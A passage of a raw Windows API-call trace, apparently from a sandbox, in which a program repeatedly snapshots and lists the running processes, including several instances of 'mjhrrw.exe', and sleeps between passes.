th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0213.275] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0213.275] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0213.277] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0213.277] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.278] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0213.278] CloseHandle (hObject=0x318) returned 1 [0213.278] Sleep (dwMilliseconds=0x1f4) [0214.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0214.048] Process32FirstW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.049] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.049] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.050] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.050] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.051] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.052] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.052] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.053] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.053] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.054] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.054] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.055] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.055] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.056] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.057] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.057] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.058] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.058] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.059] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.059] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.060] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.060] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.061] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.062] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.062] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.063] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.063] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0214.064] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0214.065] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0214.065] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0214.066] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.066] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0214.067] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.068] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0214.068] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0214.069] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0214.069] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0214.070] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0214.071] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0214.071] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.072] Process32NextW (in: hSnapshot=0x36c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0214.072] CloseHandle (hObject=0x36c) returned 1 [0214.073] Sleep (dwMilliseconds=0x1f4) [0214.884] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0214.889] Process32FirstW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.890] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.891] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.892] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.892] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.893] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.894] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.895] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.895] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.896] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.897] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.897] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.899] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.899] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.900] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.900] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.901] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.902] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.902] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.903] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.903] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.904] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.904] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.905] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.906] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.907] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.907] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.908] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0214.908] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0214.909] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0214.910] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0214.910] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.911] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0214.911] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.912] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0214.913] Process32NextW (in: hSnapshot=0x364, 